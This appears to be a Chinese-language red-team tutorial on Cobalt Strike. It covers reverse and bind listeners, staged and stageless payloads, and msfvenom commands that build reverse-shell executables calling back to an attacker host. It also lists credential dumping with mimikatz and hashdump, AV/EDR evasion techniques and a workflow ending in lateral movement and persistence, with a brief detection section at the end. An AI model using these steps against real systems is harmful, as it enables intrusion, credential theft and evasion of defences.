Cobalt Strike 深度实战:木马生成、正反向与插件

Cobalt Strike 深化:正向/反向 Listener、Staged/Stageless 木马生成、常用插件(CNA/CrossC2)、免杀思路、上线与检测。

写在前面:合法学习边界

Cobalt Strike 是商用红队工具,仅用于授权项目。非授权上线可能触犯法律。

一、正反向 Listener 与木马

C2平台通用架构图

反向连接(Reverse,最常用)

1
2
3
原理:目标主动连回攻击机
场景:目标可出网
Listener:windows/beacon_http_reverse_tcp、reverse_https

正向连接(Bind)

1
2
3
原理:目标开放端口,攻击机连过去
场景:目标只能进不能出(防火墙/隔离网)
Listener:windows/beacon_bind_tcp

Staged vs Stageless

1
2
3
4
Staged:先跑小段加载器,再从服务器拉完整 beacon
        体积小、隐蔽性好,但依赖分段下载
Stageless:完整 beacon 打进 exe
        体积大、更稳,常用于避免分段被拦

二、生成木马

界面生成

1
2
3
4
5
Attacks → Packages
Windows Executable(Staged/Stageless)
Windows Executable(S):可分片
Scripted Web Delivery:远程加载
HTML Application / MS Office Macro:钓鱼投递

msfvenom 配合(正反向)

1
2
3
4
# 反向
msfvenom -p windows/meterpreter/reverse_tcp LHOST=攻击机 LPORT=4444 -f exe -o shell.exe
# 正向
msfvenom -p windows/meterpreter/bind_tcp RHOST=目标 LPORT=4444 -f exe -o shell.exe

三、上线与后渗透

1
2
3
投递木马 → 目标执行 → 会话上线
常用命令:shell、upload/download、screenshot、
migrate、getsystem、hashdump、mimikatz、socks

四、插件(CNA / Aggressor)

1
2
3
4
5
6
7
Cobalt Strike 用 CNA(Aggressor Script)做扩展
常用插件类型:
  免杀/加载器
  CrossC2:Linux/macOS beacon
  各类信息收集/横向辅助
  GitHub 上有大量开源插件
加载:Script Manager → Load

五、免杀思路(授权内)

1
2
3
4
5
6
7
1. 改 C2 Profile:自定义流量特征(URI、UA、伪造流量)
2. 改监听端口、sleep、jitter,降低固定特征
3. 加载器免杀:shellcode 加密 + 白名单程序加载
   (rundll32 / mshta / powershell / 白文件)
4. 进程注入:注入白进程内存运行,不落地文件
5. 加壳/混淆:降低静态特征
6. 免杀是与杀软/EDR 的持续对抗,授权内测试

六、检测(对立面)

1
2
3
4
5
默认 Beacon 特征:固定端口/UA/流量指纹
内存特征、异常进程注入
mimikatz/hashdump 行为
回连域名/固定时间片
EDR 都能识别默认 CS → 必须改特征

完整操作步骤

1
2
3
4
5
6
第 1 步:启动 teamserver,连接 Client
第 2 步:按目标出网情况选正反向 Listener
第 3 步:生成 payload(Staged/Stageless),投递执行
第 4 步:确认上线,做基础后渗透(shell/mimikatz)
第 5 步:建 Socks 隧道、横向移动
第 6 步:改特征/免杀,做权限维持

七、小结

CS 深化的关键是:正反向连接选对场景、Staged/Stageless 选对投递、插件扩展能力、免杀要改特征。木马生成不只是“点一下生成”,还要考虑目标出不出网、杀软/EDR 能不能过、流量像不像真的。攻防双方都在研究它的指纹。